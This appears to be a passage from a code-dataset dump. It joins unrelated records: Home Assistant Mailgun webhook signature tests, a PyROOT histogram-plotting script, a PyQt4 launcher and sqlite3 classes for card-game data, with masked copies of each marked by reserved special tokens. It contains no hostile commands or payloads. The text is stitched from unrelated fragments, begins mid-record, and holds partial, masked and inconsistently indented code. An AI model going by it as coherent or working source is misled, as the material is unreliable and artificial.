hass_client_no_auth()\n\n\[email protected]\nasync def webhook_id_with_api_key(hass):\n \"\"\"Initialize the Mailgun component and get the webhook_id.\"\"\"\n await async_setup_component(hass, mailgun.DOMAIN, {mailgun.DOMAIN: {\n CONF_API_KEY: API_KEY, CONF_DOMAIN: 'example.com'}})\n await async_process_ha_core_config(hass, {'internal_url':\n 'http://example.local:8123'})\n result = await hass.config_entries.flow.async_init('mailgun', context={\n 'source': config_entries.SOURCE_USER})\n assert result['type'] == data_entry_flow.FlowResultType.FORM, result\n result = await hass.config_entries.flow.async_configure(result[\n 'flow_id'], {})\n assert result['type'] == data_entry_flow.FlowResultType.CREATE_ENTRY\n return result['result'].data['webhook_id']\n\n\[email protected]\nasync def webhook_id_without_api_key(hass):\n \"\"\"Initialize the Mailgun component and get the webhook_id w/o API key.\"\"\"\n await async_setup_component(hass, mailgun.DOMAIN, {})\n await async_process_ha_core_config(hass, {'internal_url':\n 'http://example.local:8123'})\n result = await hass.config_entries.flow.async_init('mailgun', context={\n 'source': config_entries.SOURCE_USER})\n assert result['type'] == data_entry_flow.FlowResultType.FORM, result\n result = await hass.config_entries.flow.async_configure(result[\n 'flow_id'], {})\n assert result['type'] == data_entry_flow.FlowResultType.CREATE_ENTRY\n return result['result'].data['webhook_id']\n\n\[email protected]\nasync def mailgun_events(hass):\n \"\"\"Return a list of mailgun_events triggered.\"\"\"\n events = []\n\n @callback\n def handle_event(event):\n \"\"\"Handle Mailgun event.\"\"\"\n events.append(event)\n hass.bus.async_listen(mailgun.MESSAGE_RECEIVED, handle_event)\n return events\n\n\nasync def test_mailgun_webhook_with_missing_signature(http_client,\n webhook_id_with_api_key, mailgun_events) ->None:\n \"\"\"Test that webhook doesn't trigger an event without a signature.\"\"\"\n event_count = len(mailgun_events)\n await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json=\n {'hello': 'mailgun', 'signature': {}})\n assert len(mailgun_events) == event_count\n await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json=\n {'hello': 'mailgun'})\n assert len(mailgun_events) == event_count\n\n\nasync def test_mailgun_webhook_with_different_api_key(http_client,\n webhook_id_with_api_key, mailgun_events) ->None:\n \"\"\"Test that webhook doesn't trigger an event with a wrong signature.\"\"\"\n timestamp = '1529006854'\n token = 'a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0'\n event_count = len(mailgun_events)\n await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json=\n {'hello': 'mailgun', 'signature': {'signature': hmac.new(key=\n b'random_api_key', msg=bytes(f'{timestamp}{token}', 'utf-8'),\n digestmod=hashlib.sha256).hexdigest(), 'timestamp': timestamp,\n 'token': token}})\n assert len(mailgun_events) == event_count\n\n\nasync def test_mailgun_webhook_event_with_correct_api_key(http_client,\n webhook_id_with_api_key, mailgun_events) ->None:\n \"\"\"Test that webhook triggers an event after validating a signature.\"\"\"\n timestamp = '1529006854'\n token = 'a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0'\n event_count = len(mailgun_events)\n await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json=\n {'hello': 'mailgun', 'signature': {'signature': hmac.new(key=bytes(\n API_KEY, 'utf-8'), msg=bytes(f'{timestamp}{token}', 'utf-8'),\n digestmod=hashlib.sha256).hexdigest(), 'timestamp': timestamp,\n 'token': token}})\n assert len(mailgun_events) == event_count + 1\n assert mailgun_events[-1].data['webhook_id'] == webhook_id_with_api_key\n assert mailgun_events[-1].data['hello'] == 'mailgun'\n\n\nasync def test_mailgun_webhook_with_missing_signature_without_api_key(\n http_client, webhook_id_without_api_key, mailgun_events) ->None:\n \"\"\"Test that webhook triggers an event without a signature w/o API key.\"\"\"\n event_count = len(mailgun_events)\n await http_client.post(f'/api/webhook/{webhook_id_without_api_key}',\n json={'hello': 'mailgun', 'signature': {}})\n assert len(mailgun_events) == event_count + 1\n assert mailgun_events[-1].data['webhook_id'] == webhook_id_without_api_key\n assert mailgun_events[-1].data['hello'] == 'mailgun'\n await http_client.post(f'/api/webhook/{webhook_id_without_api_key}',\n json={'hello': 'mailgun'})\n assert len(mailgun_events) == event_count + 1\n assert mailgun_events[-1].data['webhook_id'] == webhook_id_without_api_key\n assert mailgun_events[-1].data['hello'] == 'mailgun'\n\n\nasync def test_mailgun_webhook_event_without_an_api_key(http_client,\n webhook_id_without_api_key, mailgun_events) ->None:\n \"\"\"Test that webhook triggers an event if there is no api key.\"\"\"\n timestamp = '1529006854'\n token = 'a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0'\n event_count = len(mailgun_events)\n await http_client.post(f'/api/webhook/{webhook_id_without_api_key}',\n json={'hello': 'mailgun', 'signature': {'signature': hmac.new(key=\n bytes(API_KEY, 'utf-8'), msg=bytes(f'{timestamp}{token}', 'utf-8'),\n digestmod=hashlib.sha256).hexdigest(), 'timestamp': timestamp,\n 'token': token}})\n assert len(mailgun_events) == event_count + 1\n assert mailgun_events[-1].data['webhook_id'] == webhook_id_without_api_key\n assert mailgun_events[-1].data['hello'] == 'mailgun'\n", "step-5": "\"\"\"Test the init file of Mailgun.\"\"\"\nimport hashlib\nimport hmac\n\nimport pytest\n\nfrom homeassistant import config_entries, data_entry_flow\nfrom homeassistant.components import mailgun, webhook\nfrom homeassistant.config import async_process_ha_core_config\nfrom homeassistant.const import CONF_API_KEY, CONF_DOMAIN\nfrom homeassistant.core import callback\nfrom homeassistant.setup import async_setup_component\n\nAPI_KEY = \"abc123\"\n\n\[email protected]\nasync def http_client(hass, hass_client_no_auth):\n \"\"\"Initialize a Home Assistant Server for testing this module.\"\"\"\n await async_setup_component(hass, webhook.DOMAIN, {})\n return await hass_client_no_auth()\n\n\[email protected]\nasync def webhook_id_with_api_key(hass):\n \"\"\"Initialize the Mailgun component and get the webhook_id.\"\"\"\n await async_setup_component(\n hass,\n mailgun.DOMAIN,\n {mailgun.DOMAIN: {CONF_API_KEY: API_KEY, CONF_DOMAIN: \"example.com\"}},\n )\n\n await async_process_ha_core_config(\n hass,\n {\"internal_url\": \"http://example.local:8123\"},\n )\n result = await hass.config_entries.flow.async_init(\n \"mailgun\", context={\"source\": config_entries.SOURCE_USER}\n )\n assert result[\"type\"] == data_entry_flow.FlowResultType.FORM, result\n\n result = await hass.config_entries.flow.async_configure(result[\"flow_id\"], {})\n assert result[\"type\"] == data_entry_flow.FlowResultType.CREATE_ENTRY\n\n return result[\"result\"].data[\"webhook_id\"]\n\n\[email protected]\nasync def webhook_id_without_api_key(hass):\n \"\"\"Initialize the Mailgun component and get the webhook_id w/o API key.\"\"\"\n await async_setup_component(hass, mailgun.DOMAIN, {})\n\n await async_process_ha_core_config(\n hass,\n {\"internal_url\": \"http://example.local:8123\"},\n )\n result = await hass.config_entries.flow.async_init(\n \"mailgun\", context={\"source\": config_entries.SOURCE_USER}\n )\n assert result[\"type\"] == data_entry_flow.FlowResultType.FORM, result\n\n result = await hass.config_entries.flow.async_configure(result[\"flow_id\"], {})\n assert result[\"type\"] == data_entry_flow.FlowResultType.CREATE_ENTRY\n\n return result[\"result\"].data[\"webhook_id\"]\n\n\[email protected]\nasync def mailgun_events(hass):\n \"\"\"Return a list of mailgun_events triggered.\"\"\"\n events = []\n\n @callback\n def handle_event(event):\n \"\"\"Handle Mailgun event.\"\"\"\n events.append(event)\n\n hass.bus.async_listen(mailgun.MESSAGE_RECEIVED, handle_event)\n\n return events\n\n\nasync def test_mailgun_webhook_with_missing_signature(\n http_client, webhook_id_with_api_key, mailgun_events\n) -> None:\n \"\"\"Test that webhook doesn't trigger an event without a signature.\"\"\"\n event_count = len(mailgun_events)\n\n await http_client.post(\n f\"/api/webhook/{webhook_id_with_api_key}\",\n json={\"hello\": \"mailgun\", \"signature\": {}},\n )\n\n assert len(mailgun_events) == event_count\n\n await http_client.post(\n f\"/api/webhook/{webhook_id_with_api_key}\", json={\"hello\": \"mailgun\"}\n )\n\n assert len(mailgun_events) == event_count\n\n\nasync def test_mailgun_webhook_with_different_api_key(\n http_client, webhook_id_with_api_key, mailgun_events\n) -> None:\n \"\"\"Test that webhook doesn't trigger an event with a wrong signature.\"\"\"\n timestamp = \"1529006854\"\n token = \"a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0\"\n\n event_count = len(mailgun_events)\n\n await http_client.post(\n f\"/api/webhook/{webhook_id_with_api_key}\",\n json={\n \"hello\": \"mailgun\",\n \"signature\": {\n \"signature\": hmac.new(\n key=b\"random_api_key\",\n msg=bytes(f\"{timestamp}{token}\", \"utf-8\"),\n digestmod=hashlib.sha256,\n ).hexdigest(),\n \"timestamp\": timestamp,\n \"token\": token,\n },\n },\n )\n\n assert len(mailgun_events) == event_count\n\n\nasync def test_mailgun_webhook_event_with_correct_api_key(\n http_client, webhook_id_with_api_key, mailgun_events\n) -> None:\n \"\"\"Test that webhook triggers an event after validating a signature.\"\"\"\n timestamp = \"1529006854\"\n token = \"a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0\"\n\n event_count = len(mailgun_events)\n\n await http_client.post(\n f\"/api/webhook/{webhook_id_with_api_key}\",\n json={\n \"hello\": \"mailgun\",\n \"signature\": {\n \"signature\": hmac.new(\n key=bytes(API_KEY, \"utf-8\"),\n msg=bytes(f\"{timestamp}{token}\", \"utf-8\"),\n digestmod=hashlib.sha256,\n ).hexdigest(),\n \"timestamp\": timestamp,\n \"token\": token,\n },\n },\n )\n\n assert len(mailgun_events) == event_count + 1\n assert mailgun_events[-1].data[\"webhook_id\"] == webhook_id_with_api_key\n assert mailgun_events[-1].data[\"hello\"] == \"mailgun\"\n\n\nasync def test_mailgun_webhook_with_missing_signature_without_api_key(\n http_client, webhook_id_without_api_key, mailgun_events\n) -> None:\n \"\"\"Test that webhook triggers an event without a signature w/o API key.\"\"\"\n event_count = len(mailgun_events)\n\n await http_client.post(\n f\"/api/webhook/{webhook_id_without_api_key}\",\n json={\"hello\": \"mailgun\", \"signature\": {}},\n )\n\n assert len(mailgun_events) == event_count + 1\n assert mailgun_events[-1].data[\"webhook_id\"] == webhook_id_without_api_key\n assert mailgun_events[-1].data[\"hello\"] == \"mailgun\"\n\n await http_client.post(\n f\"/api/webhook/{webhook_id_without_api_key}\", json={\"hello\": \"mailgun\"}\n )\n\n assert len(mailgun_events) == event_count + 1\n assert mailgun_events[-1].data[\"webhook_id\"] == webhook_id_without_api_key\n assert mailgun_events[-1].data[\"hello\"] == \"mailgun\"\n\n\nasync def test_mailgun_webhook_event_without_an_api_key(\n http_client, webhook_id_without_api_key, mailgun_events\n) -> None:\n \"\"\"Test that webhook triggers an event if there is no api key.\"\"\"\n timestamp = \"1529006854\"\n token = \"a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0\"\n\n event_count = len(mailgun_events)\n\n await http_client.post(\n f\"/api/webhook/{webhook_id_without_api_key}\",\n json={\n \"hello\": \"mailgun\",\n \"signature\": {\n \"signature\": hmac.new(\n key=bytes(API_KEY, \"utf-8\"),\n msg=bytes(f\"{timestamp}{token}\", \"utf-8\"),\n digestmod=hashlib.sha256,\n ).hexdigest(),\n \"timestamp\": timestamp,\n \"token\": token,\n },\n },\n )\n\n assert len(mailgun_events) == event_count + 1\n assert mailgun_events[-1].data[\"webhook_id\"] == webhook_id_without_api_key\n assert mailgun_events[-1].data[\"hello\"] == \"mailgun\"\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> window.show() sys.exit(app.exec_()) <|reserved_special_token_1|> <|reserved_special_token_0|> app = QtGui.QApplication(sys.argv) window = MainWindow() window.show() sys.exit(app.exec_()) <|reserved_special_token_1|> from PyQt4.QtCore import * from PyQt4.QtGui import * from window.window import * import sys app = QtGui.QApplication(sys.argv) window = MainWindow() window.show() sys.exit(app.exec_()) <|reserved_special_token_1|> #!python # -*- coding: utf-8 -*- from PyQt4.QtCore import * from PyQt4.QtGui import * from window.window import * import sys app = QtGui.QApplication(sys.argv) window = MainWindow() window.show() sys.exit(app.exec_())
flexible
{ "blob_id": "9e2af13a15a98702981e9ee369c3a132f61eac86", "index": 5174, "step-1": "<mask token>\n", "step-2": "<mask token>\nwindow.show()\nsys.exit(app.exec_())\n", "step-3": "<mask token>\napp = QtGui.QApplication(sys.argv)\nwindow = MainWindow()\nwindow.show()\nsys.exit(app.exec_())\n", "step-4": "from PyQt4.QtCore import *\nfrom PyQt4.QtGui import *\nfrom window.window import *\nimport sys\napp = QtGui.QApplication(sys.argv)\nwindow = MainWindow()\nwindow.show()\nsys.exit(app.exec_())\n", "step-5": "#!python\n# -*- coding: utf-8 -*-\n\nfrom PyQt4.QtCore import *\nfrom PyQt4.QtGui import *\n\nfrom window.window import *\nimport sys\n\n\napp = QtGui.QApplication(sys.argv)\nwindow = MainWindow()\nwindow.show()\nsys.exit(app.exec_())", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
from ROOT import * import os import sys from optparse import Option, OptionValueError, OptionParser Box = ["RawKLMnodeID","rawKLMlaneFlag","rawKLMtExtraRPC","rawKLMqExtraRPC","rawKLMtExtraScint","rawKLMqExtraScint","rawKLMsizeMultihit","rawKLM00channelMultiplicity","rawKLM00channelMultiplicityFine","rawKLM10channelMultiplicity","rawKLM10channelMultiplicityFine","rawKLM20channelMultiplicity","rawKLM20channelMultiplicityFine","rawKLM30channelMultiplicity","rawKLM30channelMultiplicityFine","rawKLM01channelMultiplicity","rawKLM01channelMultiplicityFine","rawKLM11channelMultiplicity","rawKLM11channelMultiplicityFine","rawKLM21channelMultiplicity","rawKLM21channelMultiplicityFine","rawKLM31channelMultiplicity","rawKLM31channelMultiplicityFine","rawKLM02channelMultiplicity","rawKLM02channelMultiplicityFine","rawKLM12channelMultiplicity","rawKLM12channelMultiplicityFine","rawKLM22channelMultiplicity","rawKLM22channelMultiplicityFine","rawKLM32channelMultiplicity","rawKLM32channelMultiplicityFine","rawKLM03channelMultiplicity","rawKLM03channelMultiplicityFine","rawKLM13channelMultiplicity","rawKLM13channelMultiplicityFine","rawKLM23channelMultiplicity","rawKLM23channelMultiplicityFine","rawKLM33channelMultiplicity","rawKLM33channelMultiplicityFine"] #Colz = ["",] def recurPlot(tree): pathname=os.path.join(*path) if not os.path.exists(pathname): os.mkdir(pathname) for key in tree.GetListOfKeys(): thisObject=tree.Get(key.GetName()) if isinstance(thisObject,TH2): if key.GetName() in Box: thisObject.Draw("box") else: thisObject.Draw("colz") elif isinstance(thisObject, TH1): thisObject.Draw() c.SaveAs(os.path.join(pathname,key.GetName()+".png")) def makehtml(pngdir,indexfile): ListOfPng = os.listdir(pngdir) Namehtml = open(indexfile,'w') for i in ListOfPng: if i.endswith('.png'): Namehtml.write("<img src='"+i+"' width='25%'></img>") #Namehtml.write("<img src='"+pngdir+"/"+i+"' width='25%'></img>") #========================================================================= # # Main routine # #========================================================================= parser = OptionParser() parser.add_option('-e', '--experiment', dest='eNumber', default='7', help='Experiment number [default=7]') parser.add_option('-r', '--run', dest='rNumber', default='1505', help='Run number [default=0604]') (options, args) = parser.parse_args() exp = '{0:04d}'.format(int(options.eNumber)) run = '{0:05d}'.format(int(options.rNumber)) runhit = '{0:04d}'.format(int(options.rNumber)) inputName = '/ghi/fs01/belle2/bdata/group/detector/BKLM/Run_Analysis/e0007/bklmroots/bklmHists-e{0}r{1}.root'.format(exp, run) #inputhitName = 'bklmHitmap_run{0}.root'.format(runhit) outputpng = '/ghi/fs01/belle2/bdata/group/detector/BKLM/Run_Analysis/e0007/bklmroots/png-e{0}r{1}'.format(exp, run) #htmlindex = 'png-e{0}r{1}/index.html'.format(exp, run) gROOT.SetBatch() gStyle.SetOptStat(10) infile1 = TFile(inputName) #infile2 = TFile(inputhitName) c=TCanvas() path=[outputpng] recurPlot(infile1) #recurPlot(infile2) #makehtml(outputpng,htmlindex)
normal
{ "blob_id": "19cf34e7c38045a183c75703ec56c17f96ee2ac4", "index": 9629, "step-1": "from ROOT import *\nimport os\nimport sys\nfrom optparse import Option, OptionValueError, OptionParser\n\nBox = [\"RawKLMnodeID\",\"rawKLMlaneFlag\",\"rawKLMtExtraRPC\",\"rawKLMqExtraRPC\",\"rawKLMtExtraScint\",\"rawKLMqExtraScint\",\"rawKLMsizeMultihit\",\"rawKLM00channelMultiplicity\",\"rawKLM00channelMultiplicityFine\",\"rawKLM10channelMultiplicity\",\"rawKLM10channelMultiplicityFine\",\"rawKLM20channelMultiplicity\",\"rawKLM20channelMultiplicityFine\",\"rawKLM30channelMultiplicity\",\"rawKLM30channelMultiplicityFine\",\"rawKLM01channelMultiplicity\",\"rawKLM01channelMultiplicityFine\",\"rawKLM11channelMultiplicity\",\"rawKLM11channelMultiplicityFine\",\"rawKLM21channelMultiplicity\",\"rawKLM21channelMultiplicityFine\",\"rawKLM31channelMultiplicity\",\"rawKLM31channelMultiplicityFine\",\"rawKLM02channelMultiplicity\",\"rawKLM02channelMultiplicityFine\",\"rawKLM12channelMultiplicity\",\"rawKLM12channelMultiplicityFine\",\"rawKLM22channelMultiplicity\",\"rawKLM22channelMultiplicityFine\",\"rawKLM32channelMultiplicity\",\"rawKLM32channelMultiplicityFine\",\"rawKLM03channelMultiplicity\",\"rawKLM03channelMultiplicityFine\",\"rawKLM13channelMultiplicity\",\"rawKLM13channelMultiplicityFine\",\"rawKLM23channelMultiplicity\",\"rawKLM23channelMultiplicityFine\",\"rawKLM33channelMultiplicity\",\"rawKLM33channelMultiplicityFine\"]\n\n#Colz = [\"\",]\n\ndef recurPlot(tree):\n pathname=os.path.join(*path)\n if not os.path.exists(pathname):\n os.mkdir(pathname)\n for key in tree.GetListOfKeys():\n thisObject=tree.Get(key.GetName())\n if isinstance(thisObject,TH2):\n if key.GetName() in Box:\n thisObject.Draw(\"box\")\n else:\n thisObject.Draw(\"colz\")\n elif isinstance(thisObject, TH1):\n thisObject.Draw()\n\tc.SaveAs(os.path.join(pathname,key.GetName()+\".png\"))\n\ndef makehtml(pngdir,indexfile):\n ListOfPng = os.listdir(pngdir)\n Namehtml = open(indexfile,'w')\n for i in ListOfPng:\n\tif i.endswith('.png'):\n\t\tNamehtml.write(\"<img src='\"+i+\"' width='25%'></img>\")\n #Namehtml.write(\"<img src='\"+pngdir+\"/\"+i+\"' width='25%'></img>\")\n\n#=========================================================================\n#\n# Main routine\n#\n#=========================================================================\n\nparser = OptionParser()\nparser.add_option('-e', '--experiment', dest='eNumber',\n default='7',\n help='Experiment number [default=7]')\nparser.add_option('-r', '--run', dest='rNumber',\n default='1505',\n help='Run number [default=0604]')\n(options, args) = parser.parse_args()\nexp = '{0:04d}'.format(int(options.eNumber))\nrun = '{0:05d}'.format(int(options.rNumber))\nrunhit = '{0:04d}'.format(int(options.rNumber))\n\ninputName = '/ghi/fs01/belle2/bdata/group/detector/BKLM/Run_Analysis/e0007/bklmroots/bklmHists-e{0}r{1}.root'.format(exp, run)\n#inputhitName = 'bklmHitmap_run{0}.root'.format(runhit)\noutputpng = '/ghi/fs01/belle2/bdata/group/detector/BKLM/Run_Analysis/e0007/bklmroots/png-e{0}r{1}'.format(exp, run)\n#htmlindex = 'png-e{0}r{1}/index.html'.format(exp, run)\n\n\ngROOT.SetBatch()\ngStyle.SetOptStat(10)\ninfile1 = TFile(inputName)\n#infile2 = TFile(inputhitName)\nc=TCanvas()\npath=[outputpng]\nrecurPlot(infile1)\n#recurPlot(infile2)\n#makehtml(outputpng,htmlindex)\n", "step-2": null, "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0 ] }
[ 0 ]
<|reserved_special_token_0|> class DatabaseHands(object): <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> class DatabaseProbability(object): def __init__(self, database): self.conn = sqlite3.connect(database) self.cur = self.conn.cursor() self.cur.execute('CREATE TABLE IF NOT EXISTS probabilities' + '(id INTEGER PRIMARY KEY, card INTEGER,' + 'win REAL, draw REAL, lose REAL)') self.conn.commit() def insert(self, probabilities): self.cur.executemany('INSERT INTO probabilities VALUES (NULL,?,?,?,?)', probabilities) self.conn.commit() def search(self, card): self.cur.execute('SELECT * FROM probabilities WHERE card=?', (card,)) row = self.cur.fetchone() return row[2], row[3], row[4] def __del__(self): self.conn.close() class DatabaseGames(object): def __init__(self, database): self.conn = sqlite3.connect(database) self.cur = self.conn.cursor() self.cur.execute('CREATE TABLE IF NOT EXISTS games' + '(id INTEGER PRIMARY KEY,' + ' card1 INTEGER, card2 INTEGER, card3 INTEGER,' + ' win REAL, draw REAL, lose REAL)') self.conn.commit() def count(self): self.cur.execute('SELECT count(*) FROM games') rows = self.cur.fetchone() return rows[0] def insert(self, card1, card2, card3, win, draw, lose): self.cur.execute('INSERT INTO games VALUES' + ' (NULL,?,?,?,?,?,?)', (card1, card2, card3, win, draw, lose)) self.conn.commit() def view(self): self.cur.execute('SELECT * FROM games') rows = self.cur.fetchall() return rows def search(self, card1='', card2='', card3=''): self.cur.execute('SELECT * FROM games WHERE' + ' card1=? AND card2=? AND card3=?', (card1, card2, card3)) row = self.cur.fetchone() return row def __del__(self): self.conn.close() <|reserved_special_token_1|> <|reserved_special_token_0|> class DatabaseHands(object): def __init__(self, database): self.conn = sqlite3.connect(database) self.cur = self.conn.cursor() self.cur.execute('CREATE TABLE IF NOT EXISTS hands' + '(id INTEGER PRIMARY KEY, first INTEGER,' + 'second INTEGER, third INTEGER)') self.conn.commit() <|reserved_special_token_0|> def insert(self, hands): self.cur.executemany('INSERT INTO hands VALUES (NULL,?,?,?)', hands) self.conn.commit() def search(self, id): self.cur.execute('SELECT * FROM hands WHERE id=?', (id,)) row = self.cur.fetchone() return row[1], row[2], row[3] <|reserved_special_token_0|> class DatabaseProbability(object): def __init__(self, database): self.conn = sqlite3.connect(database) self.cur = self.conn.cursor() self.cur.execute('CREATE TABLE IF NOT EXISTS probabilities' + '(id INTEGER PRIMARY KEY, card INTEGER,' + 'win REAL, draw REAL, lose REAL)') self.conn.commit() def insert(self, probabilities): self.cur.executemany('INSERT INTO probabilities VALUES (NULL,?,?,?,?)', probabilities) self.conn.commit() def search(self, card): self.cur.execute('SELECT * FROM probabilities WHERE card=?', (card,)) row = self.cur.fetchone() return row[2], row[3], row[4] def __del__(self): self.conn.close() class DatabaseGames(object): def __init__(self, database): self.conn = sqlite3.connect(database) self.cur = self.conn.cursor() self.cur.execute('CREATE TABLE IF NOT EXISTS games' + '(id INTEGER PRIMARY KEY,' + ' card1 INTEGER, card2 INTEGER, card3 INTEGER,' + ' win REAL, draw REAL, lose REAL)') self.conn.commit() def count(self): self.cur.execute('SELECT count(*) FROM games') rows = self.cur.fetchone() return rows[0] def insert(self, card1, card2, card3, win, draw, lose): self.cur.execute('INSERT INTO games VALUES' + ' (NULL,?,?,?,?,?,?)', (card1, card2, card3, win, draw, lose)) self.conn.commit() def view(self): self.cur.execute('SELECT * FROM games') rows = self.cur.fetchall() return rows def search(self, card1='', card2='', card3=''): self.cur.execute('SELECT * FROM games WHERE' + ' card1=? AND card2=? AND card3=?', (card1, card2, card3)) row = self.cur.fetchone() return row def __del__(self): self.conn.close() <|reserved_special_token_1|> <|reserved_special_token_0|> class DatabaseHands(object): def __init__(self, database): self.conn = sqlite3.connect(database) self.cur = self.conn.cursor() self.cur.execute('CREATE TABLE IF NOT EXISTS hands' + '(id INTEGER PRIMARY KEY, first INTEGER,' + 'second INTEGER, third INTEGER)') self.conn.commit() <|reserved_special_token_0|> def insert(self, hands): self.cur.executemany('INSERT INTO hands VALUES (NULL,?,?,?)', hands) self.conn.commit() def search(self, id): self.cur.execute('SELECT * FROM hands WHERE id=?', (id,)) row = self.cur.fetchone() return row[1], row[2], row[3] def __del__(self): self.conn.close() class DatabaseProbability(object): def __init__(self, database): self.conn = sqlite3.connect(database) self.cur = self.conn.cursor() self.cur.execute('CREATE TABLE IF NOT EXISTS probabilities' + '(id INTEGER PRIMARY KEY, card INTEGER,' + 'win REAL, draw REAL, lose REAL)') self.conn.commit() def insert(self, probabilities): self.cur.executemany('INSERT INTO probabilities VALUES (NULL,?,?,?,?)', probabilities) self.conn.commit() def search(self, card): self.cur.execute('SELECT * FROM probabilities WHERE card=?', (card,)) row = self.cur.fetchone() return row[2], row[3], row[4] def __del__(self): self.conn.close() class DatabaseGames(object): def __init__(self, database): self.conn = sqlite3.connect(database) self.cur = self.conn.cursor() self.cur.execute('CREATE TABLE IF NOT EXISTS games' + '(id INTEGER PRIMARY KEY,' + ' card1 INTEGER, card2 INTEGER, card3 INTEGER,' + ' win REAL, draw REAL, lose REAL)') self.conn.commit() def count(self): self.cur.execute('SELECT count(*) FROM games') rows = self.cur.fetchone() return rows[0] def insert(self, card1, card2, card3, win, draw, lose): self.cur.execute('INSERT INTO games VALUES' + ' (NULL,?,?,?,?,?,?)', (card1, card2, card3, win, draw, lose)) self.conn.commit() def view(self): self.cur.execute('SELECT * FROM games') rows = self.cur.fetchall() return rows def search(self, card1='', card2='', card3=''): self.cur.execute('SELECT * FROM games WHERE' + ' card1=? AND card2=? AND card3=?', (card1, card2, card3)) row = self.cur.fetchone() return row def __del__(self): self.conn.close() <|reserved_special_token_1|> import sqlite3 class DatabaseHands(object): def __init__(self, database): self.conn = sqlite3.connect(database) self.cur = self.conn.cursor() self.cur.execute('CREATE TABLE IF NOT EXISTS hands' + '(id INTEGER PRIMARY KEY, first INTEGER,' + 'second INTEGER, third INTEGER)') self.conn.commit() def count(self): self.cur.execute('SELECT count(*) FROM hands') rows = self.cur.fetchone() return rows[0] def insert(self, hands): self.cur.executemany('INSERT INTO hands VALUES (NULL,?,?,?)', hands) self.conn.commit() def search(self, id): self.cur.execute('SELECT * FROM hands WHERE id=?', (id,)) row = self.cur.fetchone() return row[1], row[2], row[3] def __del__(self): self.conn.close() class DatabaseProbability(object): def __init__(self, database): self.conn = sqlite3.connect(database) self.cur = self.conn.cursor() self.cur.execute('CREATE TABLE IF NOT EXISTS probabilities' + '(id INTEGER PRIMARY KEY, card INTEGER,' + 'win REAL, draw REAL, lose REAL)') self.conn.commit() def insert(self, probabilities): self.cur.executemany('INSERT INTO probabilities VALUES (NULL,?,?,?,?)', probabilities) self.conn.commit() def search(self, card): self.cur.execute('SELECT * FROM probabilities WHERE card=?', (card,)) row = self.cur.fetchone() return row[2], row[3], row[4] def __del__(self): self.conn.close() class DatabaseGames(object): def __init__(self, database): self.conn = sqlite3.connect(database) self.cur = self.conn.cursor() self.cur.execute('CREATE TABLE IF NOT EXISTS games' + '(id INTEGER PRIMARY KEY,' + ' card1 INTEGER, card2 INTEGER, card3 INTEGER,' + ' win REAL, draw REAL, lose REAL)') self.conn.commit() def count(self): self.cur.execute('SELECT count(*) FROM games') rows = self.cur.fetchone() return rows[0] def insert(self, card1, card2, card3, win, draw, lose): self.cur.execute('INSERT INTO games VALUES' + ' (NULL,?,?,?,?,?,?)', (card1, card2, card3, win, draw, lose)) self.conn.commit() def view(self): self.cur.execute('SELECT * FROM games') rows = self.cur.fetchall() return rows def search(self, card1='', card2='', card3=''): self.cur.execute('SELECT * FROM games WHERE' + ' card1=? AND card2=? AND card3=?', (card1, card2, card3)) row = self.cur.fetchone() return row def __del__(self): self.conn.close() <|reserved_special_token_1|> import sqlite3 class DatabaseHands(object): def __init__(self, database): self.conn = sqlite3.connect(database) self.cur = self.conn.cursor() self.cur.execute("CREATE TABLE IF NOT EXISTS hands" + "(id INTEGER PRIMARY KEY, first INTEGER," + "second INTEGER, third INTEGER)") self.conn.commit() def count(self): self.cur.execute("SELECT count(*) FROM hands") rows = self.cur.fetchone() return rows[0] def insert(self, hands): self.cur.executemany("INSERT INTO hands VALUES (NULL,?,?,?)", hands) self.conn.commit() # def view(self): # self.cur.execute("SELECT * FROM hands") # rows = self.cur.fetchall() # return rows def search(self, id): self.cur.execute("SELECT * FROM hands WHERE id=?", (id,)) row = self.cur.fetchone() return (row[1], row[2], row[3]) def __del__(self): self.conn.close() class DatabaseProbability(object): def __init__(self, database): self.conn = sqlite3.connect(database) self.cur = self.conn.cursor() self.cur.execute("CREATE TABLE IF NOT EXISTS probabilities" + "(id INTEGER PRIMARY KEY, card INTEGER," + "win REAL, draw REAL, lose REAL)") self.conn.commit() def insert(self, probabilities): self.cur.executemany("INSERT INTO probabilities VALUES (NULL,?,?,?,?)", probabilities) self.conn.commit() # def view(self): # self.cur.execute("SELECT * FROM probabilities") # rows = self.cur.fetchall() # return rows def search(self, card): self.cur.execute("SELECT * FROM probabilities WHERE card=?", (card,)) row = self.cur.fetchone() return (row[2], row[3], row[4]) def __del__(self): self.conn.close() class DatabaseGames(object): def __init__(self, database): self.conn = sqlite3.connect(database) self.cur = self.conn.cursor() self.cur.execute("CREATE TABLE IF NOT EXISTS games" + "(id INTEGER PRIMARY KEY," + " card1 INTEGER, card2 INTEGER, card3 INTEGER," + " win REAL, draw REAL, lose REAL)") self.conn.commit() def count(self): self.cur.execute("SELECT count(*) FROM games") rows = self.cur.fetchone() return rows[0] def insert(self, card1, card2, card3, win, draw, lose): self.cur.execute("INSERT INTO games VALUES" + " (NULL,?,?,?,?,?,?)", (card1, card2, card3, win, draw, lose)) self.conn.commit() def view(self): self.cur.execute("SELECT * FROM games") rows = self.cur.fetchall() return rows def search(self, card1="", card2="", card3=""): self.cur.execute("SELECT * FROM games WHERE" + " card1=? AND card2=? AND card3=?", (card1, card2, card3)) row = self.cur.fetchone() return row def __del__(self): self.conn.close()
flexible
